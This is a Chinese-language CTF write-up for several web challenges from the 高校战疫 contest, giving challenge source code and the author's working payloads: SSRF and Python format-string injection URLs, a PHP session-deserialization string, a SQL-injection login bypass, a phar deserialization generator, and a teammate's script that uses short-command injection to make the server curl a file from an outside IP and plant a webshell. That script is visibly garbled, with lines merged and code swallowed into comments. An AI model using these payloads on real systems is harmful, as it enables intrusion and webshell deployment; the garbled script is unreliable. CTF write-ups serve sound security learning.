0%

高校战疫CTF

高校战“疫”比赛记录(WEB)。

fmkq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 <?php
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
$begin = "The number you want: ";
extract($_GET);
if($head == ''){
die('Where is your head?');
}
if(preg_match('/[A-Za-z0-9]/i',$head)){
die('Head can\'t be like this!');
}
if(preg_match('/log/i',$url)){
die('No No No');
}
if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
die('Don\'t use strange protocol!');
}
$funcname = $head.'curl_init';
$ch = $funcname();
if($ch){
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
}
else{
$output = 'rua';
}
echo sprintf($begin.'%d',$output);
}
else{
show_source(__FILE__);
}

这道题有一个地方比较奇怪,就是$funcname = $head.'curl_init';$ch = $funcname();,这是什么操作第一次见。

为了能让$ch能执行,逐个测试,发现head=\时可以,有回显。观察回显,再看代码,看到一个格式化控制的函数,上面的代码begin先赋值之后才执行extract,我们可以利用这点覆盖begin,拼接上%s%,构成%s%d。

于是有http://121.37.179.47:1101/?head=\&begin=%s%&url=127.0.0.1:8080

第二关,按照他的来不管怎么输入都是error。后来发现要是&的锅,二次url之后正常了。

看到{file}有SSTI的嫌疑,输入会被转义成{ },然后群里的dalao讨论说这只有字符串插值的时候才会这样。

构造http://121.37.179.47:1101/?head=\&begin=%s%&url=127.0.0.1:8080/read/file=/tmp/{file.__init__.__globals__}%2526vipcode=0的时候有了回显。

发现’vip’: , ‘current_folder_file’: []和’name‘: ‘base.readfile’, ‘readfile’: , ‘vipreadfile’。

试一下http://121.37.179.47:1101/?head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/{file.vip.__dict__}%2526vipcode=0

拿去执行,http://121.37.179.47:1101/?head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/{file.vip.__dict__}%2526vipcode=7UbXsOei3xPz5Gu1g4oLVp0c6KhTWq9afI2ZtnQCRlFHyrMj(vipcode会变)

看到了fl4g_1s_h3re_u_wi11_rua目录,但是不能读,我们用vipreadfile来读。构造{file.class.init.globals[vipreadfile]}fl4g_1s_h3re_u_wi11_rua好像不行。

看看变量里还有个/app/base/readfile.py读下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
Welcome,dear vip! Here are what you want:
The file you read is:
/app/base/readfile.py

The content is:
from .vip import vip
import re
import os

class File:
def __init__(self,file):
self.file = file

def __str__(self):
return self.file

def GetName(self):
return self.file


class readfile():

def __str__(self):
filename = self.GetFileName()
if '..' in filename or 'proc' in filename:
return "quanbumuda"
else:
try:
file = open("/tmp/" + filename, 'r')
content = file.read()
file.close()
return content
except:
return "error"

def __init__(self, data):
if re.match(r'file=.*?&vipcode=.*?',data) != None:
data = data.split('&')
data = {
data[0].split('=')[0]: data[0].split('=')[1],
data[1].split('=')[0]: data[1].split('=')[1]
}
if 'file' in data.keys():
self.file = File(data['file'])

if 'vipcode' in data.keys():
self.vipcode = data['vipcode']
self.vip = vip()


def test(self):
if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self):
return False
else:
return True

def isvip(self):
if self.vipcode == self.vip.GetCode():
return True
else:
return False

def GetFileName(self):
return self.file.GetName()
current_folder_file = []
class vipreadfile():
def __init__(self,readfile):
self.filename = readfile.GetFileName()
self.path = os.path.dirname(os.path.abspath(self.filename))
self.file = File(os.path.basename(os.path.abspath(self.filename)))
global current_folder_file
try:
current_folder_file = os.listdir(self.path)
except:
current_folder_file = current_folder_file

def __str__(self):
if 'fl4g' in self.path:
return 'nonono,this folder is a secret!!!'
else:
output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
output += filepath
output += '\r\n\r\nThe content is:\r\n'
try:
f = open(filepath,'r')
content = f.read()
f.close()
except:
content = 'can\'t read'
output += content
output += '\r\n\r\nOther files under the same folder:\r\n'
output += ' '.join(current_folder_file)
return output
Other files under the same folder:
__pycache__ __init__.py vip.py readfile.py%d

看到filepath = (self.path + '/{vipfile}').format(vipfile=self.file),发现还有个vip.py

1
2
3
4
5
6
7
8
9
10
11
class vip:
def __init__(self):
global vipcode
if vipcode == '':
vipcode = ''.join(random.sample(string.ascii_letters+string.digits, 48))
self.truevipcode = vipcode
else:
self.truevipcode = vipcode

def GetCode(self):
return self.truevipcode

怪不得读两下就得重新看vipcode。
于是按照格式构造http://121.37.179.47:1101/?head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/{vipfile.__class__.__init__.__globals__[vipreadfile].__module__[9]}l4g_1s_h3re_u_wi11_rua/flag%2526vipcode=9FHhI7NqPcvQxGy4KWgREjzoiMXTVYdS6ZpnJtA2b0u8DUws

hackme

这题,源码泄露,先审计一下代码,登录名有个问题不大的正则,很明显的session反序列化,我一开始以为是反序列化upload_sign里的,后面怎么都不行,结果队友贴了个|O:4:”info”:1:{s:5:”admin”;i:1;}给我,我才反应过来,是profile。

进profile第二关,又是代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
./sandbox/c476c4e86e1e2b57cbe4aa43bd588193 <?php

require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#hint : core/clear.php
$sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}
} else {
highlight_file(__FILE__);
}
} else {
die('只有管理员才能看到我哟');
}

很眼熟的exec,就是那个长度小于4的命令注入(HITCON里的好像),所以脚本是现成的,但是发现有个绕过,把data过滤掉了,然后我就翻php有什么能代替或者包裹这个协议的,最后还是队友找到的,还是dalao比较强orz。zlib://

记录一下,compress.zlib://data:@127.0.0.1/plain;base64,{}//hal0flagi5here.php?url=compress.zlib://file:@happyctf.com/../../../flag.txt

接下来的就按照之前来的就好,附上队友wp@3ND

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#-*-coding:utf8-*
import requests as r from time
import sleep
import random
import hashlib
import base64 target = 'http://121.36.222.22:88/'
#sign = '|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";i:1;}'
#name = "admin"
cookies={'PHPSESSID': '37e06788cc145bb3b81b1fc339f140a8'}
page = "core/index.php"
# 存放待下载文件的公网主机的IP shell_ip = '47.94.212.159'
# 将shell_IP转换成十六进制
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))                    
for i in shell_ip.split('.')])
# print ip
reset = target + 'core/clear.php'
# payload payload = [        
">dir",        
">sl",        ">g\>",          ">ht-",        
"*>v",        ">rev",        "*v>x", # ls -th>g        
">p",        
">ph\\",        
">\|\\",        
">9f\\", # ip[8:10]        
">d4\\", # ip[6:8]        
">5e\\", # ip[4:6]        
">2f\\", # ip[2:4]        
">0x\\", # ip[0:2]        
">\ \\",        
">rl\\",        
">cu\\",        
"sh x",        
"sh g" # 执行curl命令,下载文件,写入木马。 ]
sandbox = target + 'core/sandbox/b23303a092479d32b1d59366b3477c8c/'
# clear s = r.get(reset) sleep(1) # attack
for i in payload:    
i = i.encode()
   cmd = base64.b64encode(i)    
cmd = cmd.decode()    
data = {   "url":"compress.zlib://data:@127.0.0.1/plain;base64,{}".format(cmd)   }    
print(data)    
s = r.post(target+page, data=data, cookies=cookies)    
print '[%d]' % s.status_code, s.url    sleep(2) # check
s = r.get(sandbox + 'fun.php?cmd=cat /flag')
print '[%d]' % s.status_code, s.url
print s.text
# flag{B11e_oX4461_Y2h1_100_OIZW4===}

sqlcheckin

给出了源代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
// ...
$pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
$stmt->execute();
$result = $stmt->fetchAll();
if (count($result) > 0) {
if ($result[0]['username'] == 'admin') {
include('flag.php');
exit();
// ....

没看懂代码…

构造username=admin&password=0'+'0

webct

rogue-mysql-server load local infile反序列化phar(学长教的,我这次比赛第一次知道,记录一下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php    
class Fileupload {        
public $file;    
}    
class Listfile {        
public $file;  
}
$o = new Fileupload;    
$o->file = new Listfile;    
$o->file->file = ';/readflag';
@unlink("phar.phar");    
$phar = new Phar("phar.phar");    
$phar->startBuffering();    
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文 件头    
$phar->setMetadata($o); //将自定义meta-data存入manifest    
$phar->addFromString("test.txt", "test"); //添加要压缩的文件    //签名自动计算    
$phar->stopBuffering();

上传文件,然后服务器用rogue-mysql-server访问phar://…./xx.gif

PHP-UAF

Shell能查phpinfo(),被ban了很多函数,我用菜刀连不上,蚁剑能连。连上之后上传PHP 7.4 disable_function bypass

之后URL include即可getflag。


-------------    本文结束  感谢您的阅读    -------------